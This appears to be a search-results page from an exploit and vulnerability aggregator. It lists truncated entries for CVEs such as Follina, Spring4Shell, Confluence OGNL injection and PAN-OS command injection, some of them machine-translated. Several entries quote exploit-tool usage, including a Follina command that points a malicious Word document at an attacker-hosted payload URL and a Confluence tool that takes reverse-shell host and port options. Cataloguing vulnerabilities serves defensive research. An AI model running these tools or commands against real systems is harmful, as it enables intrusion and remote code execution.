1303611 matches found
WP Cerber < 8.9.3 - Broken Access Control
WP Cerber 8.9.3 contains a bypass of /wp-json access control caused by improper handling of trailing '?' character, letting unauthorized users access protected REST API endpoints, exploit requires sending a request with a trailing '?'. id: CVE-2021-37598 info: name: WP Cerber 8.9.3 - Broken Acces...
Mongoose < 8.8.3 - Remote Code Execution
Mongoose before 8.8.3 can improperly use $where in match, leading to search injection. id: CVE-2024-53900 info: name: Mongoose 8.8.3 - Remote Code Execution author: h4mg severity: critical description: | Mongoose before 8.8.3 can improperly use $where in match, leading to search injection. impact...
PAN-OS Management Web Interface - Command Injection
A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges. Cloud NGFW and Prisma Access are not impacted by this vulnerability. id: CVE-2024-9474 info...
DomainMOD 4.11.01 - Cross-Site Scripting
DomainMOD 4.11.01 is vulnerable to reflected cross-site scripting via assets/edit/registrar-account.php. id: CVE-2018-19136 info: name: DomainMOD 4.11.01 - Cross-Site Scripting author: arafatansari severity: medium description: | DomainMOD 4.11.01 is vulnerable to reflected cross-site scripting v...
Fastify Swagger-UI - Information Disclosure
fastify-swagger-ui is a Fastify plugin for serving Swagger UI. Prior to 2.1.0, the default configuration of @fastify/swagger-ui without baseDir set will lead to all files in the module's directory being exposed via http routes served by the module. The vulnerability is fixed in v2.1.0. Setting th...
ZZZCMS 1.6.1 - Remote Code Execution
ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzztemplate.php file because the parserIfLabel function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring. id: CVE-2019-9041 info: name: ZZZCMS 1.6.1 - Remote Code Execution...
Oracle Business Intelligence Publisher - XML External Entity Injection
Oracle Business Intelligence Publisher is vulnerable to an XML external entity injection attack. The supported versions affected are 11.1.1.9.0, 12.2.1.3.0 and 12.2.1.4.0. This easily exploitable vulnerability allows unauthenticated attackers with network access via HTTP to compromise BI Publishe...
Apache OFBiz - XML External Entity Injection
In Apache OFBiz 16.11.01 to 16.11.04, the OFBiz HTTP engine org.apache.ofbiz.service.engine.HttpEngine.java handles requests for HTTP services via the /webtools/control/httpService endpoint. Both POST and GET requests to the httpService endpoint may contain three parameters: serviceName,...
WordPress Toolbar <= 2.2.6 - Open Redirect
The plugin redirects to any URL via the "wptbto" parameter. This makes it possible for unauthenticated attackers to redirect users to potentially malicious sites if they can successfully trick them into performing an action. id: CVE-2023-6389 info: name: WordPress Toolbar = 2.2.6 - Open Redirect...
CVE-2022-26134
CVE-2022-26134 -u URL, --url URL URL cible -c COMMAND, --command COMMAND commande -i LHOST, --lhost LHOST Adresse de l'hôte de rebond -p LPORT, --lport LPORT Port de l'hôte de rebond -f FILE, --file FILE Scan par lot...
cve-2022-23131-exp
Zabbix SSO Обход аутентификации CVE-2022-23131 root@kitploit: usage: zabbixsessionexp.py -h -t TARGET -u USERNAME -p PROXY -f FILES optional arguments: -h, --help show this help message and exit -t TARGET, --target TARGET Zabbix Server -u USERNAME, --username USERNAME Zabbix Admin User -p PROXY,...
Digisol-DG-GR1321-s-Improper-Access-Control-CVE-2024-4231
Digisol-DG-GR1321-s-Contrôle-d'accès-inapproprié-CVE-2024-4231...
CVE-2017-11882
이 저장소에는 README가 없습니다...
CVE-2025-3969-Exploit
Ce depot n’a pas de fichier README...
cve-2019-1040-scanner
Scanner CVE-2019-1040 Vérifie la présence de la vulnérabilité CVE-2019-1040 via SMB. Le script établira une connexion vers les hôtes cibles et enverra une authentification NTLM invalide. Si celle-ci est acceptée, l'hôte est vulnérable à CVE-2019-1040 et vous pouvez exécuter l'attaque MIC Remove...
instructions-summarizing
Résumé des instructions Site contenant des informations utiles pour démontrer CVE-2023-37273...
SSE4-CVE-2022-22965
Spring Boot CVE-2022-22965 Docker PoC для CVE-2022-22965 с Spring Boot версии 2.6.5 Начало работы 1. Выполните docker compose up --build, чтобы собрать и запустить уязвимое приложение. 2. Выполните curl -H "Accept: text/html;"...
Follina-CVE-2022-30190-POC
Follina-CVE-2022-30190 Preuve de concept par Nee Utilisation root@kitploit: python3 follina.py --payload-url "http://192.168.200.144:1337/pwn.html" Ce qu'il fait Crée un fichier Word malveillant qui pointe vers l'URL du payload que vous spécifiez Héberge le payload par défaut situé dans le dossie...